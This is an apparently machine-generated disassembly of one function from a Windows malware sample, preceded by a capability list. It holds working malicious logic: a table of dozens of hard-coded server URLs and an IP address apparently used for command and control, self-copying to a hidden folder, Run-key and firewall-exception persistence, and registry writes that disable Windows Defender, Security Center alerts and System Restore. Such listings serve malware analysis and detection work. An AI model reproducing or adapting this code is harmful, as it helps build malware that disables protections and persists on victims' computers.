Function at 0x402ce0
Capabilities:
Acquire debug privileges
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create directory
Create thread
Delete file
Disable windows defender features via registry on windows
Parse pe header
Persist via run registry key
Persist via windows service
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1260
call fcn.00404da0
mov eax, dword [0x409004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401940
push str.6486894
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy]
add esp, 8
push 0x32
push str.Windows_Operating_System
lea ecx, [ebp - 0x40]
push ecx
call dword [sym.imp.VCRUNTIME140.dll_memcpy]
add esp, 0xc
mov edx, 4
imul eax, edx, 0
mov dword [ebp + eax - 0x1254], str.http:__185.215.113.66_
mov ecx, 4
shl ecx, 0
mov dword [ebp + ecx - 0x1254], str.http:__gshrghirhgsgrao.to_
mov edx, 4
shl edx, 1
mov dword [ebp + edx - 0x1254], str.http:__hehfaofiehgggao.to_
mov eax, 4
imul ecx, eax, 3
mov dword [ebp + ecx - 0x1254], str.http:__soghrrsoeuhugao.to_
mov edx, 4
shl edx, 2
mov dword [ebp + edx - 0x1254], str.http:__eiiiaoihoaeruao.to_
mov eax, 4
imul ecx, eax, 5
mov dword [ebp + ecx - 0x1254], str.http:__roiriorisioroao.to_
mov edx, 4
imul eax, edx, 6
mov dword [ebp + eax - 0x1254], str.http:__ouhgousgoahutao.to_
mov ecx, 4
imul edx, ecx, 7
mov dword [ebp + edx - 0x1254], str.http:__oeoaoueuoeuoaao.to_
mov eax, 4
shl eax, 3
mov dword [ebp + eax - 0x1254], str.http:__aiaizzzezeezeao.to_
mov ecx, 4
imul edx, ecx, 9
mov dword [ebp + edx - 0x1254], str.http:__ouauooaoaoeeuao.to_
mov eax, 4
imul ecx, eax, 0xa
mov dword [ebp + ecx - 0x1254], str.http:__oeeoeuueueuueao.to_
mov edx, 4
imul eax, edx, 0xb
mov dword [ebp + eax - 0x1254], str.http:__eobbeaubfeuueao.to_
mov ecx, 4
imul edx, ecx, 0xc
mov dword [ebp + edx - 0x1254], str.http:__aauaaaeieiieeao.to_
mov eax, 4
imul ecx, eax, 0xd
mov dword [ebp + ecx - 0x1254], str.http:__aaaeieiiiofffao.to_
mov edx, 4
imul eax, edx, 0xe
mov dword [ebp + eax - 0x1254], str.http:__infineinfinigao.to_
mov ecx, 4
imul edx, ecx, 0xf
mov dword [ebp + edx - 0x1254], str.http:__baoefubfbfigoao.to_
mov eax, 4
shl eax, 4
mov dword [ebp + eax - 0x1254], str.http:__aaauuwiifoogeao.to_
mov ecx, 4
imul edx, ecx, 0x11
mov dword [ebp + edx - 0x1254], str.http:__plporsiszsgetao.to_
mov eax, 4
imul ecx, eax, 0x12
mov dword [ebp + ecx - 0x1254], str.http:__gshrghirhgsgrla.co_
mov edx, 4
imul eax, edx, 0x13
mov dword [ebp + eax - 0x1254], str.http:__hehfaofiehgggla.co_
mov ecx, 4
imul edx, ecx, 0x14
mov dword [ebp + edx - 0x1254], str.http:__soghrrsoeuhugla.co_
mov eax, 4
imul ecx, eax, 0x15
mov dword [ebp + ecx - 0x1254], str.http:__eiiiaoihoaerula.co_
mov edx, 4
imul eax, edx, 0x16
mov dword [ebp + eax - 0x1254], str.http:__roiriorisiorola.co_
mov ecx, 4
imul edx, ecx, 0x17
mov dword [ebp + edx - 0x1254], str.http:__ouhgousgoahutla.co_
mov eax, 4
imul ecx, eax, 0x18
mov dword [ebp + ecx - 0x1254], str.http:__oeoaoueuoeuoala.co_
mov edx, 4
imul eax, edx, 0x19
mov dword [ebp + eax - 0x1254], str.http:__aiaizzzezeezela.co_
mov ecx, 4
imul edx, ecx, 0x1a
mov dword [ebp + edx - 0x1254], str.http:__ouauooaoaoeeula.co_
mov eax, 4
imul ecx, eax, 0x1b
mov dword [ebp + ecx - 0x1254], str.http:__oeeoeuueueuuela.co_
mov edx, 4
imul eax, edx, 0x1c
mov dword [ebp + eax - 0x1254], str.http:__eobbeaubfeuuela.co_
mov ecx, 4
imul edx, ecx, 0x1d
mov dword [ebp + edx - 0x1254], str.http:__aaaeieiiiofffla.co_
mov eax, 4
imul ecx, eax, 0x1e
mov dword [ebp + ecx - 0x1254], str.http:__infineinfinigla.co_
mov edx, 4
imul eax, edx, 0x1f
mov dword [ebp + eax - 0x1254], str.http:__baoefubfbfigola.co_
mov ecx, 4
shl ecx, 5
mov dword [ebp + ecx - 0x1254], str.http:__aaauuwiifoogela.co_
mov edx, 4
imul eax, edx, 0x21
mov dword [ebp + eax - 0x1254], str.http:__plporsiszsgetla.co_
mov ecx, 4
imul edx, ecx, 0x22
mov dword [ebp + edx - 0x1254], str.http:__eveezueigohehla.co_
mov eax, 4
imul ecx, eax, 0x23
mov dword [ebp + ecx - 0x1254], str.http:__bnioooarubgzdla.co_
mov edx, 4
imul eax, edx, 0x24
mov dword [ebp + eax - 0x1254], str.http:__aiuauuaaanggila.co_
mov ecx, 4
imul edx, ecx, 0x25
mov dword [ebp + edx - 0x1254], str.http:__ghosrurruheudla.co_
mov eax, 4
imul ecx, eax, 0x26
mov dword [ebp + ecx - 0x1254], str.http:__hohigoirjgrijla.co_
mov edx, 4
imul eax, edx, 0x27
mov dword [ebp + eax - 0x1254], str.http:__ghofhauofeofhla.co_
mov ecx, 4
imul edx, ecx, 0x28
mov dword [ebp + edx - 0x1254], str.http:__nehfauheudhuela.co_
mov eax, 4
imul ecx, eax, 0x29
mov dword [ebp + ecx - 0x1254], str.http:__gouarhofhrufhla.co_
mov edx, 4
imul eax, edx, 0x2a
mov dword [ebp + eax - 0x1254], str.http:__rugeaofhefhugla.co_
mov ecx, 4
imul edx, ecx, 0x2b
mov dword [ebp + edx - 0x1254], str.http:__aefeohaueajdula.co_
mov eax, 4
imul ecx, eax, 0x2c
mov dword [ebp + ecx - 0x1254], str.http:__ghaueouahfuohla.co_
mov edx, 4
imul eax, edx, 0x2d
mov dword [ebp + eax - 0x1254], str.http:__rguaouhouaefela.co_
mov ecx, 4
imul edx, ecx, 0x2e
mov dword [ebp + edx - 0x1254], str.http:__aefhuoaeudofrla.co_
mov eax, 4
imul ecx, eax, 0x2f
mov dword [ebp + ecx - 0x1254], str.http:__guaouehdaouehla.co_
mov edx, 4
imul eax, edx, 0x30
mov dword [ebp + eax - 0x1254], str.http:__feoanoanednuela.co_
mov ecx, 4
imul edx, ecx, 0x31
mov dword [ebp + edx - 0x1254], str.http:__buaeaefuueofhla.co_
mov eax, 4
imul ecx, eax, 0x32
mov dword [ebp + ecx - 0x1254], str.http:__bueoueoaoeoadla.co_
mov edx, 4
imul eax, edx, 0x33
mov dword [ebp + eax - 0x1254], str.http:__lpliouhzieuaela.co_
mov ecx, 4
imul edx, ecx, 0x34
mov dword [ebp + edx - 0x1254], str.http:__fgeauhfouehurla.co_
mov eax, 4
imul ecx, eax, 0x35
mov dword [ebp + ecx - 0x1254], str.http:__aefoguaeoueorla.co_
mov edx, 4
imul eax, edx, 0x36
mov dword [ebp + eax - 0x1254], str.http:__eiiiaoihoaerutr.cc_
mov ecx, 4
imul edx, ecx, 0x37
mov dword [ebp + edx - 0x1254], str.http:__roiriorisiorotr.cc_
mov eax, 4
imul ecx, eax, 0x38
mov dword [ebp + ecx - 0x1254], str.http:__ouhgousgoahuttr.cc_
mov edx, 4
imul eax, edx, 0x39
mov dword [ebp + eax - 0x1254], str.http:__oeoaoueuoeuoatr.cc_
mov ecx, 4
imul edx, ecx, 0x3a
mov dword [ebp + edx - 0x1254], str.http:__aiaizzzezeezetr.cc_
mov eax, 4
imul ecx, eax, 0x3b
mov dword [ebp + ecx - 0x1254], str.http:__ouauooaoaoeeutr.cc_
mov edx, 4
imul eax, edx, 0x3c
mov dword [ebp + eax - 0x1254], str.http:__oeeoeuueueuuetr.cc_
mov ecx, 4
imul edx, ecx, 0x3d
mov dword [ebp + edx - 0x1254], str.http:__eobbeaubfeuuetr.cc_
mov eax, 4
imul ecx, eax, 0x3e
mov dword [ebp + ecx - 0x1254], str.http:__aauaaaeieiieetr.cc_
mov edx, 4
imul eax, edx, 0x3f
mov dword [ebp + eax - 0x1254], str.http:__aaaeieiiioffftr.cc_
mov ecx, 4
shl ecx, 6
mov dword [ebp + ecx - 0x1254], str.http:__infineinfinigtr.cc_
mov edx, 4
imul eax, edx, 0x41
mov dword [ebp + eax - 0x1254], str.http:__baoefubfbfigotr.cc_
mov ecx, 4
imul edx, ecx, 0x42
mov dword [ebp + edx - 0x1254], str.http:__aaauuwiifoogetr.cc_
mov eax, 4
imul ecx, eax, 0x43
mov dword [ebp + ecx - 0x1254], str.http:__plporsiszsgettr.cc_
mov edx, 4
imul eax, edx, 0x44
mov dword [ebp + eax - 0x1254], str.http:__eveezueigohehtr.cc_
mov ecx, 4
imul edx, ecx, 0x45
mov dword [ebp + edx - 0x1254], str.http:__bnioooarubgzdtr.cc_
mov eax, 4
imul ecx, eax, 0x46
mov dword [ebp + ecx - 0x1254], str.http:__gshrghirhgsgrzt.io_
mov edx, 4
imul eax, edx, 0x47
mov dword [ebp + eax - 0x1254], str.http:__hehfaofiehgggzt.io_
mov ecx, 4
imul edx, ecx, 0x48
mov dword [ebp + edx - 0x1254], str.http:__soghrrsoeuhugzt.io_
mov eax, 4
imul ecx, eax, 0x49
mov dword [ebp + ecx - 0x1254], str.http:__eiiiaoihoaeruzt.io_
mov edx, 4
imul eax, edx, 0x4a
mov dword [ebp + eax - 0x1254], str.http:__roiriorisiorozt.io_
mov ecx, 4
imul edx, ecx, 0x4b
mov dword [ebp + edx - 0x1254], str.http:__ouhgousgoahutzt.io_
mov eax, 4
imul ecx, eax, 0x4c
mov dword [ebp + ecx - 0x1254], str.http:__oeoaoueuoeuoazt.io_
mov edx, 4
imul eax, edx, 0x4d
mov dword [ebp + eax - 0x1254], str.http:__aiaizzzezeezezt.io_
mov ecx, 4
imul edx, ecx, 0x4e
mov dword [ebp + edx - 0x1254], str.http:__ouauooaoaoeeuzt.io_
mov eax, 4
imul ecx, eax, 0x4f
mov dword [ebp + ecx - 0x1254], str.http:__oeeoeuueueuuezt.io_
mov edx, 4
imul eax, edx, 0x50
mov dword [ebp + eax - 0x1254], str.http:__eobbeaubfeuuezt.io_
mov ecx, 4
imul edx, ecx, 0x51
mov dword [ebp + edx - 0x1254], str.http:__aauaaaeieiieezt.io_
mov eax, 4
imul ecx, eax, 0x52
mov dword [ebp + ecx - 0x1254], str.http:__aaaeieiiiofffzt.io_
mov edx, 4
imul eax, edx, 0x53
mov dword [ebp + eax - 0x1254], str.http:__infineinfinigzt.io_
mov ecx, 4
imul edx, ecx, 0x54
mov dword [ebp + edx - 0x1254], str.http:__baoefubfbfigozt.io_
mov eax, 4
imul ecx, eax, 0x55
mov dword [ebp + ecx - 0x1254], str.http:__gshrghirhgsgrpn.su_
mov edx, 4
imul eax, edx, 0x56
mov dword [ebp + eax - 0x1254], str.http:__hehfaofiehgggpn.su_
mov ecx, 4
imul edx, ecx, 0x57
mov dword [ebp + edx - 0x1254], str.http:__soghrrsoeuhugpn.su_
mov eax, 4
imul ecx, eax, 0x58
mov dword [ebp + ecx - 0x1254], str.http:__eiiiaoihoaerupn.su_
mov edx, 4
imul eax, edx, 0x59
mov dword [ebp + eax - 0x1254], str.http:__roiriorisioropn.su_
mov ecx, 4
imul edx, ecx, 0x5a
mov dword [ebp + edx - 0x1254], str.http:__ouhgousgoahutpn.su_
mov eax, 4
imul ecx, eax, 0x5b
mov dword [ebp + ecx - 0x1254], str.http:__oeeoeuueueuuepn.su_
mov edx, 4
imul eax, edx, 0x5c
mov dword [ebp + eax - 0x1254], str.http:__eobbeaubfeuuepn.su_
mov ecx, 4
imul edx, ecx, 0x5d
mov dword [ebp + edx - 0x1254], str.http:__aauaaaeieiieepn.su_
mov eax, 4
imul ecx, eax, 0x5e
mov dword [ebp + ecx - 0x1254], str.http:__aaaeieiiiofffpn.su_
mov edx, 4
imul eax, edx, 0x5f
mov dword [ebp + eax - 0x1254], str.http:__infineinfinigpn.su_
mov ecx, 4
imul edx, ecx, 0x60
mov dword [ebp + edx - 0x1254], str.http:__baoefubfbfigopn.su_
mov eax, 4
imul ecx, eax, 0x61
mov dword [ebp + ecx - 0x1254], str.http:__aaauuwiifoogepn.su_
mov edx, 4
imul eax, edx, 0x62
mov dword [ebp + eax - 0x1254], str.http:__plporsiszsgetpn.su_
mov ecx, 4
imul edx, ecx, 0x63
mov dword [ebp + edx - 0x1254], str.http:__eveezueigohehpn.su_
mov eax, 4
imul ecx, eax, 0
mov dword [ebp + ecx - 0x10c0], str.12345678abcdefghijklmnopqrstuvwxyz
mov edx, 4
shl edx, 0
mov dword [ebp + edx - 0x10c0], 0x4065b0
mov eax, 4
shl eax, 1
mov dword [ebp + eax - 0x10c0], 0x4065b4
mov ecx, 4
imul edx, ecx, 3
mov dword [ebp + edx - 0x10c0], 0x4065b8
mov eax, 4
shl eax, 2
mov dword [ebp + eax - 0x10c0], 0x4065bc
mov ecx, 4
imul edx, ecx, 5
mov dword [ebp + edx - 0x10c0], 0x4065c0
mov eax, 4
imul ecx, eax, 6
mov dword [ebp + ecx - 0x10c0], 0x4065c4
mov edx, 4
imul eax, edx, 7
mov dword [ebp + eax - 0x10c0], 0x4065c8
mov dword [ebp - 0x1258], 0x4065cc
mov ecx, 4
imul edx, ecx, 0
mov dword [ebp + edx - 0x10a0], 0x4065d0
mov eax, 4
shl eax, 0
mov dword [ebp + eax - 0x10a0], 0x4065d4
mov ecx, 4
shl ecx, 1
mov dword [ebp + ecx - 0x10a0], 0x4065d8
mov edx, 4
imul eax, edx, 3
mov dword [ebp + eax - 0x10a0], 0x4065dc
mov ecx, 4
shl ecx, 2
mov dword [ebp + ecx - 0x10a0], 0x4065e0
mov edx, 4
imul eax, edx, 5
mov dword [ebp + eax - 0x10a0], 0x4065e4
mov ecx, 4
imul edx, ecx, 6
mov dword [ebp + edx - 0x10a0], 0x4065e8
mov eax, 4
imul ecx, eax, 7
mov dword [ebp + ecx - 0x10a0], 0x4065ec
mov edx, 4
shl edx, 3
mov dword [ebp + edx - 0x10a0], 0x4065f0
mov eax, 4
imul ecx, eax, 9
mov dword [ebp + ecx - 0x10a0], 0x4065f4
mov edx, 4
imul eax, edx, 0xa
mov dword [ebp + eax - 0x10a0], 0x4065f8
mov ecx, 4
imul edx, ecx, 0xb
mov dword [ebp + edx - 0x10a0], 0x4065fc
mov eax, 4
imul ecx, eax, 0xc
mov dword [ebp + ecx - 0x10a0], 0x406600
mov edx, 4
imul eax, edx, 0xd
mov dword [ebp + eax - 0x10a0], 0x406604
mov ecx, 4
imul edx, ecx, 0xe
mov dword [ebp + edx - 0x10a0], 0x406608
mov eax, 4
imul ecx, eax, 0xf
mov dword [ebp + ecx - 0x10a0], 0x40660c
mov edx, 4
shl edx, 4
mov dword [ebp + edx - 0x10a0], 0x406610
mov eax, 4
imul ecx, eax, 0x11
mov dword [ebp + ecx - 0x10a0], 0x406614
mov edx, 4
imul eax, edx, 0x12
mov dword [ebp + eax - 0x10a0], 0x406618
mov ecx, 4
imul edx, ecx, 0x13
mov dword [ebp + edx - 0x10a0], 0x40661c
mov eax, 4
imul ecx, eax, 0x14
mov dword [ebp + ecx - 0x10a0], 0x406620
mov edx, 4
imul eax, edx, 0x15
mov dword [ebp + eax - 0x10a0], 0x406624
mov ecx, 4
imul edx, ecx, 0x16
mov dword [ebp + edx - 0x10a0], 0x406628
mov eax, 4
imul ecx, eax, 0x17
mov dword [ebp + ecx - 0x10a0], 0x40662c
mov edx, 4
imul eax, edx, 0x18
mov dword [ebp + eax - 0x10a0], 0x406630
mov ecx, 4
imul edx, ecx, 0
mov dword [ebp + edx - 0x103c], 0x406634
mov eax, 4
shl eax, 0
mov dword [ebp + eax - 0x103c], str._userprofile_
mov ecx, 4
shl ecx, 1
mov dword [ebp + ecx - 0x103c], str._systemdrive_
mov edx, 4
imul eax, edx, 3
mov dword [ebp + eax - 0x103c], str._temp_
mov ecx, 4
imul edx, ecx, 0
mov dword [ebp + edx - 0x1010], str.DisableScanOnRealtimeEnable
mov eax, 4
shl eax, 0
mov dword [ebp + eax - 0x1010], str.DisableOnAccessProtection
mov ecx, 4
shl ecx, 1
mov dword [ebp + ecx - 0x1010], str.DisableBehaviorMonitoring
mov edx, 4
imul eax, edx, 0
mov dword [ebp + eax - 0x102c], str.AntiVirusOverride
mov ecx, 4
shl ecx, 0
mov dword [ebp + ecx - 0x102c], str.UpdatesOverride
mov edx, 4
shl edx, 1
mov dword [ebp + edx - 0x102c], str.FirewallOverride
mov eax, 4
imul ecx, eax, 3
mov dword [ebp + ecx - 0x102c], str.AntiVirusDisableNotify
mov edx, 4
shl edx, 2
mov dword [ebp + edx - 0x102c], str.UpdatesDisableNotify
mov eax, 4
imul ecx, eax, 5
mov dword [ebp + ecx - 0x102c], str.AutoUpdateDisableNotify
mov edx, 4
imul eax, edx, 6
mov dword [ebp + eax - 0x102c], str.FirewallDisableNotify
lea ecx, [ebp - 0xc]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x125c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x403843
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0xfb8], 0
mov dword [ebp - 0xfb0], 1
push 0x208
lea edx, [ebp - 0x558]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call fcn.00401820
push 1
push str.SeDebugPrivilege
call fcn.00401ba0
add esp, 8
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
lea eax, [ebp - 0x558]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x1260], eax
lea ecx, [ebp - 0x558]
push ecx
push str._ls:Zone.Identifier
push 0x208
lea edx, [ebp - 0xf84]
push edx
call fcn.00401060
add esp, 0x10
lea eax, [ebp - 0xf84]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x1004], eax
mov ecx, dword [ebp - 0x1004]
push ecx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 4
push 0x40688c
lea edx, [ebp - 0x558]
push edx
call fcn.00401c70
add esp, 8
test eax, eax
jne 0x403c7c
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xfc4], 0
jmp 0x403932
mov eax, dword [ebp - 0xfc4]
add eax, 1
mov dword [ebp - 0xfc4], eax
cmp dword [ebp - 0xfc4], 4
jae 0x403c7c
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x208
lea ecx, [ebp - 0xd7c]
push ecx
mov edx, dword [ebp - 0xfc4]
mov eax, dword [ebp + edx*4 - 0x103c]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x19
idiv ecx
mov edx, dword [ebp + edx*4 - 0x10a0]
mov dword [ebp - 0x1000], edx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x19
idiv ecx
mov edx, dword [ebp + edx*4 - 0x10a0]
mov dword [ebp - 0xffc], edx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x19
idiv ecx
mov edx, dword [ebp + edx*4 - 0x10a0]
mov dword [ebp - 0xff8], edx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [ebp - 0xff4], eax
mov eax, dword [ebp - 0x1000]
push eax
mov ecx, dword [ebp - 0xffc]
push ecx
mov edx, dword [ebp - 0xff8]
push edx
mov eax, dword [ebp - 0xff4]
cdq
mov ecx, 0x19
idiv ecx
mov edx, dword [ebp + edx*4 - 0x10a0]
push edx
push str.sys_ls_ls_ls_ls.exe
lea eax, [ebp - 0xb74]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x3e8
mov dword [ebp - 0xfec], edx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [ebp - 0xfe8], eax
mov edx, dword [ebp - 0xfec]
push edx
mov eax, dword [ebp - 0xfe8]
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x3e8
push edx
lea edx, [ebp - 0xd7c]
push edx
push str._ls_d_d
lea eax, [ebp - 0x760]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
lea ecx, [ebp - 0xb74]
push ecx
lea edx, [ebp - 0x760]
push edx
push str._ls_ls
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea ecx, [ebp - 0x760]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x403c77
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea edx, [ebp - 0x248]
push edx
lea eax, [ebp - 0x558]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x403c77
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x248]
push edx
push str._ls::Enabled:_s
lea eax, [ebp - 0x96c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 7
lea ecx, [ebp - 0x760]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 7
lea edx, [ebp - 0x248]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0xfb8]
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403b80
lea ecx, [ebp - 0x96c]
push ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
add esp, 4
mov dword [ebp - 0xfe4], eax
mov edx, dword [ebp - 0xfe4]
lea eax, [edx + edx + 2]
push eax
lea ecx, [ebp - 0x96c]
push ecx
push 1
push 0
lea edx, [ebp - 0x248]
push edx
mov eax, dword [ebp - 0xfb8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0xfb8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0xfb8]
push edx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403bec
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
add esp, 4
mov dword [ebp - 0xfe0], eax
mov ecx, dword [ebp - 0xfe0]
lea edx, [ecx + ecx + 2]
push edx
lea eax, [ebp - 0x248]
push eax
push 1
push 0
lea ecx, [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0xfb8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0xfb8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0xfb8]
push ecx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403c58
lea edx, [ebp - 0x248]
push edx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
add esp, 4
mov dword [ebp - 0xfdc], eax
mov eax, dword [ebp - 0xfdc]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x248]
push edx
push 1
push 0
lea eax, [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0xfb8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0xfb8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x248]
push eax
call fcn.00401420
add esp, 4
movzx ecx, al
cmp ecx, 1
jne 0x403c77
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x403923
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0xfb8]
push edx
push 0xf003f
push 0
push str.SOFTWAREPoliciesMicrosoftWindows_Defender
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403d9b
push 4
lea eax, [ebp - 0xfb0]
push eax
push 4
push 0
push str.DisableAntiSpyware
mov ecx, dword [ebp - 0xfb8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea edx, [ebp - 0xfb8]
push edx
push 0xf003f
push 0
push 0x406b60
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x403d11
push 0
lea eax, [ebp - 0xfb8]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push 0x406be8
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea ecx, [ebp - 0xfb8]
push ecx
push 0xf003f
push 0
push str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403d8e
mov dword [ebp - 0xfc0], 0
jmp 0x403d4e
mov edx, dword [ebp - 0xfc0]
add edx, 1
mov dword [ebp - 0xfc0], edx
cmp dword [ebp - 0xfc0], 3
jae 0x403d81
push 4
lea eax, [ebp - 0xfb0]
push eax
push 4
push 0
mov ecx, dword [ebp - 0xfc0]
mov edx, dword [ebp + ecx*4 - 0x1010]
push edx
mov eax, dword [ebp - 0xfb8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x403d3f
mov ecx, dword [ebp - 0xfb8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0xfb8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0xfb8]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403e20
mov dword [ebp - 0xfc8], 0
jmp 0x403de0
mov ecx, dword [ebp - 0xfc8]
add ecx, 1
mov dword [ebp - 0xfc8], ecx
cmp dword [ebp - 0xfc8], 7
jae 0x403e13
push 4
lea edx, [ebp - 0xfb0]
push edx
push 4
push 0
mov eax, dword [ebp - 0xfc8]
mov ecx, dword [ebp + eax*4 - 0x102c]
push ecx
mov edx, dword [ebp - 0xfb8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x403dd1
mov eax, dword [ebp - 0xfb8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xfb8]
push ecx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftSecurity_CenterSvc
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403ea5
mov dword [ebp - 0xfcc], 0
jmp 0x403e65
mov edx, dword [ebp - 0xfcc]
add edx, 1
mov dword [ebp - 0xfcc], edx
cmp dword [ebp - 0xfcc], 7
jae 0x403e98
push 4
lea eax, [ebp - 0xfb0]
push eax
push 4
push 0
mov ecx, dword [ebp - 0xfcc]
mov edx, dword [ebp + ecx*4 - 0x102c]
push edx
mov eax, dword [ebp - 0xfb8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x403e56
mov ecx, dword [ebp - 0xfb8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0xfb8]
push edx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSystemRestore
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403efb
push 4
lea eax, [ebp - 0xfb0]
push eax
push 4
push 0
push str.DisableSR
mov ecx, dword [ebp - 0xfb8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0xfb8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x402110
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x402b80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00402180
movzx eax, al
test eax, eax
je 0x403fbc
mov byte [ebp - 0xfd5], 1
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xfd0], 0
jmp 0x403f7c
